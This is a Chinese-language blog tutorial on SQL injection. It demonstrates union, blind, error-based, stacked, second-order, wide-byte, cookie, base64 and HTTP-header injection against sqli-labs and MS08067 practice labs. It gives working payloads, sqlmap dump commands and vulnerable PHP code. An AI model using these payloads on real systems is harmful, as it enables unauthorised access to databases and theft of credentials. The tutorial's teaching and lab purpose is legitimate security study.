Loading

SQL注入(巨详解)

0x00-引言


SQL注入需要有一点SQL基础,博客主题生成的目录有问题,点击标题使用博客园生成的目录舒服一点

SQL注入好多啊,终于在情人节前夕搞完了,也终于有时间陪......,cao,我没女朋友

学习慢就是快,快就是慢

终身学习,直面恐惧 be in love with fear

0x01-漏洞描述


SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严格,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。【百度百科】

0x02-漏洞原理


在页面中有数据交互的地方,攻击者构造sql语句,使web服务器执行恶意命令访问数据库。

SQL注入漏洞满足的两个条件:

  • 参数用户可以控制
  • 参数可以带入数据库查询

构造语句是数据库报错,根据报错判断是否存在SQL注入

0x03-MySQL相关知识点


01-MySQL中information_schema

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

information_schema实际上是视图,而不是基本表,像软链接一样。就像一本书里面的目录,包括整个数据库里面的内容。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
 
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
 
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
 
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
 
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
 
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
 
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
 
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
 
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
 
COLLATIONS表:提供了关于各字符集的对照信息。
 
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
 
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
 
KEY_COLUMN_USAGE表:描述了具有约束的键列。
 
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
 
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
 
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

information_schema中我们需要了解三张表,SCHEMATATABLESCOLUMNS

查询表SCHEMATA中存储的库名SCHEMATA_NAME

image-20220120160420019

TABLES中记录了用户创建的所有数据库的库名(TABLE_SCHEMA)和表名(TABLE_NAME)。用limit限制了查询数量

image-20220120161414876

COLUMNS表中存储了该用户创建的所有数据库的库名(TABLE_SCHEMA)、表名(TABLE_NAME)和字段名(COLUMN_NAME)

image-20220120162007894

02-MySQL中的注释符

MySQL支持3种注释符

  • #:注释从#字符到行尾
  • --:注释从--序列到行尾,使用注释时,后面需要跟一个或多个空格
  • /**/:注释/**/中间的字符,若/**/中间有感叹号,则有特殊意义,如/*!55555,username*/,若mysql版本号高于或等于5.55.55,语句将会被执行,如果!后面不加入版本号,mysql将会直接执行SQL语句
03-MySQL函数利用

database():当前网站使用的数据库

version():当前MySQL的版本

user():当前MySQL的用户

0x04-SQL注入类型


思路:

01-判断漏洞类型(字符型和数字型)
02-爆库名
03-报表名
04-爆字段
05-爆数据值

万能密码:
username:  1' or '1'='1
password:  1' or '1'='1

手注模板:

id=1   #判断注入点
id=1'  #判断注入点
id=1' and 1=1  #判断注入点
id=1' and 1=2  #判断注入点
id=1' order by 3 --+  #判断字段数
id=-1' union select 1,database(),user() --+  #查询库名与用户
id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+  #查询表名
?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' ) --+  #查询字段名
id=-1' union select 1,database(),(select group_concat(id,email_id) from emails  ) --+  #查询数据
00-数字型与字符型

SQL注入可分为字符型和数字型,其他类型都是这两大类的不同展现形式和不同展现位置。也可分四种,分别为:union联合注入、Boolran布尔盲注、time时间盲注、报错注入。

数字型猜测SQL语句为select * from table where id=8

测试语句

id=2 #原始请求
id=2' #页面出现异常,则进行下一步测试
id=2 and 1=1 #语句执行正常,返回数据与原始请求无任何差异
id=2 and 1=2 #语句执行正常,但无法查询出数据,and1=2始终为假,所以返回数据与原始数据有差异

以上测试都满则可能存在SQL注入漏洞

字符型猜测SQL语句为select * from table where username='admin'

字符型注入要注意字符串闭合问题

数据库不同,字符串的连接符也不同,如SQL Server连接符号为+,Oracle连接符为||,Mysql连接符为空格。

01-Union注入
01-Mysql中Union用法

Mysql允许复合查询(多个SELECT语句并列查询),并将返回单个结果集。这些组合查询通常称为并或复合查询。

select username from admin UNION select password from admin;

UNION规则:

  • UNION必须由两条以上select语句组成,语句之间用关键词UNION分割
  • UNION中的每个查询必须包含相同的列、表达式或聚集函数(各个列不需要以相同的次序列出)
  • 不去重用UNION ALL
  • 使用UNION语句只能使用一条order by语句,且order by放在最后一条select语句后面
02-sali-labs靶场演示

image-20220211095908399

判断注入点-存在注入

?id=1
?id=1'
?id=1' and 1=1 --+
?id=1' and 1=2 --+

判断字段数

?id=1' order by 3 --+

image-20220211100109580

union查询库名和用户

?id=-1' union select 1,database(),user() --+

image-20220211100241511

查询表名

?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security' ) --+

image-20220211100626312

查询字段

?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' ) --+

image-20220211101047248

查询数据

id=-1' union select 1,database(),(select group_concat(id,email_id) from emails  ) --+

image-20220211101155607

03-ms08067靶场演示

ms08067靶场

image-20220123231630073

构造语句查询,存在漏洞

image-20220123232808096

order by 判断字段数

image-20220123233133492

可以看到6个字段时,不出错

image-20220123233242203

第七个字段数出错,可以判断字段数为七个

union查看哪两个字段位置可以查询数据

image-20220123233611771

2和4可以查询数据-插入database()和version函数

image-20220123234130451

使用的库为test,Mysql版本号为5.5.53

查询使用的表

04-SQLMAP注入
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-1/?id=1" --batch -D security -T users -C id,password,username -dump

image-20220211101617450

02-Union注入代码分析
<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
    echo "连接失败: " . mysqli_connect_error();
}

$id = $_GET['id'];

$result = mysqli_query($con,"select * from users where `id`=".$id);

while($row = mysqli_fetch_array($result))
{
    echo $row['username'] . " " . $row['address'];
    echo "<br>";
}
?>

后端程序用于接收前端输入的参数id,将id的值拼接到select * from users where id =后,构造变量id= 1 union select 1,2,3时,后端用于查询数据库的语句为select * from users where id = 1 union select 1,2,3,union 后面为另一条select语句可以查询数据库的数据。

03-Boolean注入

布尔盲注就是猜测,根据页面返回的true和flase猜数据库总数,猜数据库长度,猜数据库名字,猜数据库长度,猜数据库内容,然后就是猜表和字段。盲注最快的方法就是用工具跑。

靶场sql-labs的less8

Boolean注入常用函数

length(str):返回str字符串的长度。substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始mid(str,pos,len):跟上面的一样,截取字符串ascii(str):返回字符串str的最左面字符的ASCII代码值。ord(str):返回ascii码if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
01-Boolean注入演示

id=1

image-20220207161800627

id=1'不显示数据

image-20220207161937256

可能存在布尔盲注

构造payload测试数据库长度

id=1%27and%20length(database())=1%23

不显示

image-20220207162214303

id=1%27and%20length(database())=8%23

显示,说明存在布尔盲注且数据库的长度为8

image-20220207162259427

判断数据库名

?id=1' and substr(database(),1,1)='s' --+

image-20220208093432327

抓包爆破数据库名第一位

image-20220208093558379

爆破多位数据库名

image-20220208094350630

爆出数据库名security

爆表名

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+

image-20220208095528371

爆出第一个表名emails

修改limit后面的值可以查询其他表的名称

image-20220208100819178

爆字段名

?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='d' --+

image-20220208101626994

爆出第一个字段id,接着爆第二字段,修改limit后面的值为limit 1,1

image-20220208102134069

爆字段内容

?id=1' and substr((select email_id from emails limit 0,1),1,1)='x' --+

image-20220208103141368

爆出邮箱dumb@dnakkan.com

查看数据库与爆出来的内容对比-一模一样

image-20220208103354748

sqlmap跑布尔盲注-工具万岁(那里有神魔大佬,不过是脚本小子罢了)

sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-8/?id=1" -D security -T emails -C id,email_id --dump

image-20220208105236844

04-Boolean注入代码分析
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-8 Blind- Boolian- Single Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-8.jpg" /></center>
</body>
</html>

前面是把注入id参数的值写入TXT文件中。\(sql是一句sql语句,\)result是mysql_query执行sql语句的结果,$row是mysql_fetch_array生成的数组。从前端输入参数id的值,后端查询数据库,sql-labs的盲注就是不显示报错信息,只有成功的显示(true)和不成功的不显示(flase)

05-时间注入

时间盲注和布尔盲注很像,页面不返回任何信息,采用延迟函数根据页面反应的时间进行判断是否存在注入点。服务器负载和网络速度会对响应时间产生巨大影响。延迟足够长的时间可以排除这些影响。

延迟注入函数:

sleep #延迟函数benchmark(count,expr) #count:运行次数 expr:运行的命令 通过多次运行产生延时笛卡尔积 #count(*),通过计算表中数据的数量产生延迟get_lock(str,timeout) #对一个字符上锁,在新回话开启后,再次使用这个字符会有延时if(condition,true,false) #条件语句if表达式:if(expr1,expr2,expr3) #expr1为条件,expr2和expr3为返回值。和if判断语句一样
01-时间注入演示

sqli-labs-less9,时间盲注

测试语句也可以使用下图中语句(已知数据库第一个字母)

?id=1' and if(length(database())>1,sleep(6),1) --+

image-20220208151559907

image-20220208151635863

image-20220208151914120

查看页面响应的时间可以看出存在延迟注入

爆数据库名-security

?id=1' and if(substr(database(),1,1)='s',sleep(6),1) --+

image-20220208152121559

爆表名-emails

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(6),1) --+

image-20220208153538788

爆字段名-id(第一个字段)-email_id(第二个字段)

?id=1' and if(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='d',sleep(6),1) --+

image-20220208154459756

image-20220208154613732

爆字段内容-dumb@dhakkan.com

?id=1' and if(substr((select email_id from emails limit 0,1),1,1)='x',sleep(6),1) --+

image-20220208154931239

查看数据库内容与爆出的内容对比-一模一样

image-20220208155112857

sqlmap跑时间盲注-工具就是好用

banner信息-数据库名-表名-字段名-字段内容

sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-9/?id=1" -D security -T emails -C id,email_id -dump

image-20220208155721593

06-时间注入代码分析
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-9 Blind- Time based- Single Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";
	echo '<font color= "#0000ff" font size= 3>';
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-9.jpg" /></center>
</body>
</html>

The same as Boolean injection.One more line of echo(You are in).So 不管对错都显示You are in ........

07-报错注入

靶场:MS08067

报错注入是利用数据库报错机制,人为的制造错误,使查询结果出现在报错信息中。

思路:

01-先判断是否存在漏洞(id=1')看报错02-构造错误语法03-爆表名04-爆字段05-爆数据名06-爆数据值

报错注入相关函数:

updatexml()函数

updatexml(Xml_document,Xpathstring,new_value)
    Xml_document:目标文档
    Xpathstring:路径
    new_value:更新的值

爆数据库名:
username=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
爆数据库表名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --+
爆字段名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
爆数据值:
username=1' and updatexml(1,substring(concat(0x7e,(select group_concat(username,0x3a,password,0x3a) from test.users),0x7e),32,64),1) --+

extractvalue()函数

extractvalue(Xml_document,XMLstring)
    Xml_document:目标文档
    Xpathstring:XML路径
爆数据库名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+
爆数据库表名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test')))) --+
爆字段名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'))))--+
爆数据值:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) --+

floor()函数

MYSQL用来取整的函数

用法

爆数据名:username=1' and (select 1 from  (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a) --+
01-MS08067靶场演示

以updatexml()函数为例

测试是否存在报错注入

image-20220209105404865

爆数据库名

image-20220209105456443

爆数据库表名

image-20220209105619822

爆字段名

image-20220209105738394

爆数据

image-20220209105831842

SQLMAP跑报错注入

image-20220209110340455

SQLMAP检测出存在布尔盲注、时间盲注和报错注入

直接跑出数据

image-20220209110857528

08-报错注入代码分析
<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
    echo "连接失败: " . mysqli_connect_error();
}

$username = $_GET['username'];
$sql = "select * from users where 'username'='$username'";
if($result = mysqli_query($con,$sql)){
    echo "ok";
}else{
    echo mysqli_error($con);
}

?>

mysqli_error会打印出数据库报错信息

09-堆叠查询注入

多条SQL语句一起执行,每条语句中间用;隔开---(Stack Injection)

堆叠注入毫无限制,为所欲为

靶场:sqli-labs--less42

01-靶场演示

image-20220209141733450

在所在的光阴时间内,我们要用有限的时间内去实现自身价值,正所谓诗酒趁年华,偏于一隅只会让我们故步自封。

username:aaa
password:bbb';insert into users(id,username,password) values(60,'root','root')#

放入表单-提交

回到登录页面-填入注入的账号密码登录

image-20220209143802172

进入数据库查看注入数据-security-users

image-20220209143937719

成功

SQLMAP跑表单注入

  • --form模式 sqlmap.py -u "192.168.234.139/login.php" --form
  • sqlmap.py -u "192.168.234.139/login.php" --data "username=admin&password=123123" --flush-session
  • sqlmap.py -r c:\数据包.txt

这里我采用第一种模式

image-20220209152412573

10-堆叠查询注入代码分析

image-20220209144514224

可以看到在用户名出进行转义,但是在密码处不存在转义,直接使用POST提交,造成堆叠注入

11-二次注入

将攻击语句写入数据库,等待其他功能从数据库中调用攻击语句,在其他功能语句拼接的过程中没有过滤严格从而造成SQL注入

原理:

  • 攻击者第一次提交恶意输入
  • 恶意输入存入数据库
  • 攻击者二次提交输入
  • 为了响应第二次的输入程序查询数据库取出恶意输入构造SQL语句形成二次注入

靶场:sqli-labs--less24

01-演示

image-20220209211841512

此页面经检测此页面无SQL注入

点击new user click here注册一个用户

username: admin'#

password: 123

填入表单,提交

image-20220210090200607

5秒后会跳到登录页面

登录

image-20220210090310538

查看数据库-数据建立成功

image-20220210090436087

修改密码为123456

image-20220210090520925

再次查看数据库-在此处发生二次注入

image-20220210090645983

可以看到admin'#的密码没有被修改,修改的为admin'#的密码

二次注入本人用SQLMAP跑不出来,请带佬指点

详情请见代码分析

12-二次注入代码分析

登录页面代码分析

image-20220210094014946

可以看到在接收前端参数的位置都有mysql_real_escape_string转义\,转义符\在存入数据库的时候会被还原。由上图代码可以判断不存在sql注入

注册新用户页面代码分析

image-20220210094425051

可以看到也都存在函数进行转义,so 也不存在注入点

修改密码页面分析-妹子别走下面就是重点了

image-20220210094637567

可以看到在填入用户名处没有过滤,此前我们注册新用户名为恶意输入admin'#,此处就是二次注入的点。

接下来分析数据库中SQL语句的执行情况

使用Seay代码审计系统对Mysql进行监控-Github下载

image-20220210095049596

在注册用户时,数据库执行的语句为-可以看到在users表中添加用户admin'#,注意此处显示有转义符,但是写入数据库中的不带有转义符

insert into users ( username, password) values("admin\'#", "123")

image-20220210095924323

在更新密码处执行的sql语句为

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='123'

#号后面的语句被注释-最终执行的语句为以下-因此修改的是用户admin的密码

UPDATE users SET PASSWORD='123456' where username='admin'

image-20220210100136455

二次注入就是一战打基础,二战985

13-宽字节注入

宽字节注入是通过编码绕过后端代码的防御措施,列如正则过滤和转义函数转义。

客户端采用GBK编码格式,数据库对用户输入进行转义\,转义符\的编码为%5c,添加编码%df,组成%df%5c,此时编码表达为繁体字連,从而绕过转义符让'逃逸。

GB2312、GBK、GB18030、BIG5等都是宽字节,宽字节的安全问题是使ASCII(一字节)变成宽字节

mysql的转义函数有addslashes,mysql_real_escape_string,mysql_escape_string等

show create database 数据库名  #查看数据库编码格式
01-演示

靶场:sqli-labs ---less36(基于宽字符逃逸的GET型注入)

后端过滤采用函数为mysql_real_escape_string,它会转义字符串中的特殊字符,例如:

\x00  \n  \r  \  '  "  \x1a

判断闭合符号-靶场已知-实战要多尝试

判断是否存在漏洞

?id=1%df%27 and 1=1 --+?id=1%df%27 and 1=2 --+

image-20220210162416661

image-20220210162444733

1=1时为真可以查询出数据,1=2时为假查不出数据,存在SQL注入

判断字段数为3

?id=1%df%27 order by 4--+

image-20220210162742701

联合注入搞起

group_concat():将group by产生的同一个分组中的值连接起来,返回一个字符串结果

image-20220210202810387

为什么使用group_concat把值连接起来,因为页面只能返回一行数据

image-20220210203244820

思路:

  • 尝试出注入类型为宽字节注入
  • 构造GBK编码使转义失效,让'逃逸出去
  • 查询库名、表名、字段名、然后是数据。嵌套查询很重要
?id=-1%df%27 union select 1,database(),user() --+  #注出数据库名和用户
?id=-1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+ #查询表名
?id=-1%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,3)),database() --+ #查询users中的字段名
?id=-1%df%27 union select 1,(select username from users limit 7,1),(select password from users limit 7,1) --+ #取出一组数据,取出全部用group_concat(username,password)

image-20220210205002579

14-宽字节注入代码分析

image-20220210205937033

对于前端传入的参数id,后端用mysql_real_escape_string()对参数id的值进行转义。数据库的编码格式为GBK为宽字节,而转义符\(%5c)为一字节,我们再添加一字节编码(%df)构造GBK编码(%df%5c)使转义符失效,让'逃逸出去从而闭合SQL语句中的id='$id',使插入的sql语句可以执行。

15-Cookie注入

Cookie注入就是Cookie处存在注入点,后端对Cookie没有过滤

01-演示

靶场:sqli-labs---less20

image-20220211085452550

登录

image-20220211085525799

判断cookie注入类型-数字型和字符型

firefox插件工具:EditThisCookie

image-20220211085725350

看到cookie的值判断为字符型,开始判断是否存在注入点

admin' and 1=1 --+  #显示数据admin' and 1=2 --+  #不显示数据

image-20220211090024214

存在注入点-判断字段数-使用union注入

admin' order by 3 --+

image-20220211090219111

查询库名

ad' union select 1,database(),3  --+

image-20220211090402650

查询表名

ad' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3  --+

image-20220211090835587

查询字段

ad' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),3  --+

image-20220211091134386

查询数据

ad' union select 1,(select group_concat(id,email_id) from emails),3  --+

image-20220211091427601

SQLMAP跑Cookie注入

注入探测等级为2

sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-20/index.php" --cookie "uname=admin" --level 2 --batch -D security -T emails -C id,email_id -dump

image-20220211092421473

16-Cookie注入代码分析

image-20220211093723159

可以看到在cookie处没有任何过滤手段,直接从前端接收参数并带入数据库查找

17-base64注入

和其他注入一样,多了个base64编码解码

01-演示

sqli-less---less-22 cookie注入之base64,和cookie注入一样,多了个base64编码

image-20220211105724004

可以看到cookie显示为base64编码格式

%3D为url编码=

和cookie注入一样,只是闭合变成了",注释不能用--+要用#。然后再base64编码

爆库名

ad" union select 1,database(),3  #YWQiIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyAgIw==

image-20220211125252640

查询表名

ad" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 #YWQiIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyksMyAj

image-20220211125453559

查询字段

ad" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),3 #YWQiIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2VtYWlscycpLDMgIw==

image-20220211125735980

查询数据

ad" union select 1,(select group_concat(id,email_id) from emails),3  #YWQiIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGlkLGVtYWlsX2lkKSBmcm9tIGVtYWlscyksMyAgIw==

image-20220211125838604

我们使用报错注入,列如extractvalue()函数报错注入,具体方法参考报错注入

image-20220211130001401

SQLMAP跑cookie base64加密注入

sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-22/index.php" --cookie "uname=YWRtaW4=" --tamper base64encode.py --level 2  --batch --dbs

image-20220211130827128

18-base64注入代码分析

image-20220211131732252

可以看到在接受到cookie时,只是简单的base64_decode()函数解码,并无其他过滤手段,然后直接带入数据库查询。

19-XFF注入

http头部注入的一种,头部参数X-Forwarded-for它代表客户真实IP,修改它的值可以伪造客户端IP。和其他注入一样,换了个注入点。

01-演示

靶场:MS08067

打开靶场:抓包

image-20220211145128815

发现没有X-Forwarded-for字段,那就自己添加

image-20220211145308644

有返回值

加个分号,发现有报错

image-20220211145401342

判断是否存在注入点-注释符注意使用#,不能使用--+

127.0.0.1' and 1=1 #127.0.0.1' and 1=2 #

image-20220211145629504

image-20220211145647594

存在注入点-使用联合注入和报错注入都可以-以下使用报错注入-因为不想使用联合注入

查询数据库名

127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select database())))) #

image-20220211150027402

查询表名

127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test')))) #

image-20220211150215977

查询字段名

爆字段名:127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users')))) #

image-20220211150324178

查询数据

127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) #

image-20220211150505396

SQLMAP跑XFF注入-抓包数据放入sqlmap.py同目录的txt文件里面

标星号,sqlmap知道跑哪里

image-20220211151038262

sqlmap.py -r bao.txt -batch -dbs

image-20220211151107226

20-XFF注入代码分析

image-20220211152558691

getenv()函数用来获取一个环境变量的值,如果值存在则返回值,如果不存在则返回flase,程序判断http头部参数HTTP_CLIENT_IP是否存在,存在就赋值给$ip,如果不存在,则依次判断HTTP_X_FORWARDED_FOR、REMOTE_ADDR。

在sql语句查询时,対赋值的$ip也没有任何过滤,这样就造成了XFF注入

21-User-Agent注入

HTTP头部注入的一种,在字段User-Agent处存在注入。

01-演示

靶场:sqli-labs ---less18

image-20220211160648999

填写正确的账号密码,抓包

image-20220211160858861

判断注入点-猜测闭合方式

image-20220211161006153

存在注入点

经判断使用的注入方法是报错注入,尝试其他不可以,具体原因在代码分析中解释

查询库名

' or updatexml(1, concat('1', database()), 0), 1, 1) #

image-20220211162346971

查询表名-and也可以

' and updatexml(1, concat('1', (select group_concat(table_name) from information_schema.tables where table_schema=database() )), 0), 1, 1) #

image-20220211162807150

查询字段名

' and updatexml(1, concat('1', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )), 0), 1, 1) #

image-20220211163723979

查询数据值

' and updatexml(1, concat('1', (select group_concat(id,username,password) from users )), 0), 1, 1) #

image-20220211163903792

SQLMAP跑user-agent注入

user-agent标星号

image-20220211164349505

sqlmap.py -r bao.txt -batch -dbs

image-20220211164408275

22-User-Agent注入代码分析

image-20220211164842983

image-20220211165334746

可以看到,对于账号密码输入都存在严格的过滤机制,而在\(uagent处不存在过滤机制,把\)insert拿出来分析

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

构造$uagent的值,也就是user-agent的值,同时也是恶意sql语句

' or updatexml(1, concat('1', database()), 0), 1, 1) #

拼接-最终数据库执行语句

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' or updatexml(1, concat('1', database()), 0), 1, 1) #', '$IP', $uname)

Seay代码审计系统检测mysql执行语句为

image-20220211170611583

报错会抛给mysql_error()函数,最终打印在前端页面

为什么使用union注入不可以?

对后端代码小部分更改,发现$insert语句不返回值-报错可以返回

image-20220211171658678

image-20220211171751366

23-referer注入

referer是HTTP请求头Header的一部分。referer会告诉服务器该请求是从哪里来的,服务器基于可以获得一些信息处理

referer注入也是http头部注入的一种。

01-演示

靶场:sqli-labs ---less19

和User-Agent一样的操作

登录-抓包

image-20220212200631639

话不多说,直接查库名

' and updatexml(1, concat('1', database()), 0), 1, 1) #

image-20220212200847426

查表名

' and updatexml(1, concat('1', (select group_concat(table_name) from information_schema.tables where table_schema=database() )), 0), 1, 1) #

image-20220212201000280

查字段名

' and updatexml(1, concat('1', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )), 0), 1, 1) #

image-20220212201121241

查数据值

' and updatexml(1, concat('1', (select group_concat(id,username,password) from users )), 0), 1, 1) #

image-20220212201235097

SQLMAP跑referer注入

老规矩,把包放入txt文档-星号标记referer的值

image-20220212201715201

sqlmap.py -r bao.txt --level 3 --batch --banner

image-20220212201756212

24-referer注入代码分析

image-20220212202112297

image-20220212202145150

可以看到sqli-labs的referer注入的后端代码和user-agent注入基本一致,账号密码处都有过滤机制,在接收referer处没有过滤机制,因为数据库的查询结果不会输出到页面,而报错可以输出,所以使用报错注入。

25-post注入和get注入的区别
  • GET参数通过URL传递,POST放在Request body中
  • GET请求只能进行url编码,而POST支持多种编码方式
  • GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留

0x05-SQLMAP常用参数


参考

样例:

sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-20/index.php" --cookie "uname=admin" --level 2 --batch --banner -D security -T emails -C id,email_id -dump
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
–dbs 列出所有的数据库
–current-db 列出当前数据库
–tables 列出当前的表
–columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–dump 获取字段中的数据
–batch 自动选择yes
–smart 启发式快速判断,节约浪费时间
